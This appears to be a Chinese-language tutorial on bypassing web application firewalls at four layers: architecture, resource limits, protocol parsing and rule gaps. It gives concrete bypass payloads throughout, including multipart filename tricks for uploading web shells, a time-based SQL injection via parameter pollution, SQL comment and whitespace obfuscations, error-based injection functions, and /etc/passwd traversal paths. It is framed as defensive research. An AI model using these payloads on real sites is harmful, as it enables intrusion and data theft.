WAF攻防研究之四个层次Bypass WAF
字数 1186 2025-08-29 08:31:41
WAF攻防研究之四个层次Bypass WAF 教学文档
1. WAF绕过技术概述
WAF(Web应用防火墙)绕过技术研究是提升WAF防御能力的重要途径。本文从四个层次系统性地讲解WAF绕过技术:
- 架构层绕过
- 资源限制角度绕过
- 协议层面绕过
- 规则缺陷绕过
2. 架构层绕过技术
2.1 寻找源站IP
原理:当流量不经过WAF时,WAF无法检测攻击请求。
方法:
- 信息泄露:检查网站注销页面、GitHub源码、历史DNS记录
- 搜索引擎缓存:查找未接入WAF前的IP记录
- IP穷举扫描:扫描国内IP段,匹配网站特征
2.2 利用同网段
原理:同一云服务商内网流量可能不经过WAF检测。
方法:
- 在目标站点同一云服务商购买VPS
- 通过内网直接攻击目标服务器
2.3 利用边界漏洞
原理:通过子站的SSRF漏洞访问主站可能绕过WAF。
方法:
- 寻找子站SSRF漏洞
- 通过SSRF访问主站内部接口
3. 资源限制角度绕过
原理:WAF为避免资源消耗过大,可能只检测请求前部分内容。
方法:
- 在POST BODY前添加大量无用数据
- 将攻击payload放在请求末尾
- 典型大小:超过2MB可能绕过检测
4. 协议层面绕过
4.1 协议未覆盖绕过
案例:
- WAF未覆盖
multipart/form-data类型请求 - 或仅检测文件上传部分而忽略表单参数
4.2 协议解析不一致
PHP文件名解析漏洞:
- WAF解析文件名:test3.jpg
- PHP解析文件名:shell.php
4.3 文件上传协议绕过技术
4.3.1 文件名覆盖(一)
Content-Disposition: form-data; name="file"; filename="sp.pho"
Content-Disposition: form-data; name="file"; filename="sp.php"
WAF取第一个,后端取最后一个
4.3.2 文件名覆盖(二)
Content-Disposition: form-data; name="myfile"; filename="p3.txt";filename="t3.jsp"
WAF解析到第一个filename,后端解析到最后一个
4.3.3 遗漏文件名
Content-Disposition: form-data;name="myfile";; filename="t3.jsp"
WAF遇到;;认为无filename,后端继续解析
4.3.4 未解析所有文件
- WAF只检查第一个上传文件
- 后端解析所有上传文件
- 将payload放在后面的文件PART
4.3.5 文件名解析兼容性
filename="abc.php // 缺少右引号
filename=abc.php // 无引号
filename='abc.php' // 单引号
WAF按标准解析失败,后端容器兼容解析成功
4.4 参数污染
/forum.php?typeid=644&typeid=if(now()%3dsysdate()%2csleep(19.844)%2c0)
WAF检查第一个参数值,后端使用第二个参数值
5. 规则层面绕过
5.1 SQL注入绕过技术
5.1.1 注释符绕过
union/**/select
union/*aaaa%01bbs*/select
union/*aaaaaaaaaaaaaaaaaaaa*/select
5.1.2 空白符绕过
union%250Cselect
union%25A0select
利用MySQL与正则表达式空白符差异
5.1.3 函数分隔符
concat%2520(
concat/**/(
concat%250c(
concat%25a0(
5.1.4 浮点数词法解析
8E0union select
8.0union select
\Nunion select
5.1.5 Error-based函数
extractvalue(1, concat(0x5c,md5(3)))
updatexml(1, concat(0x5d,md5(3)),1)
GeometryCollection((select from(select from(select@@version)f)x))
5.1.6 MySQL特殊语法
select{x table_name}from{x information_schema.tables}
5.2 文件包含绕过
5.2.1 相对路径绕过
etc//passwd // 等价于etc/passwd
5.2.2 绝对路径绕过
/etc/./passwd
/wtt/../etc/passwd
5.2.3 协议绕过
PHP支持的协议:
file://, http://, ftp://, php://
zlib://, data://, glob://, phar://
ssh2://, rar://, ogg://, expect://
6. 总结
WAF绕过技术研究需要深入理解:
- HTTP协议及其实现差异
- 后端容器协议解析特性
- 数据库词法分析机制
- 系统文件路径解析规则
通过多层次的测试和验证,才能全面评估WAF的防御能力并持续改进。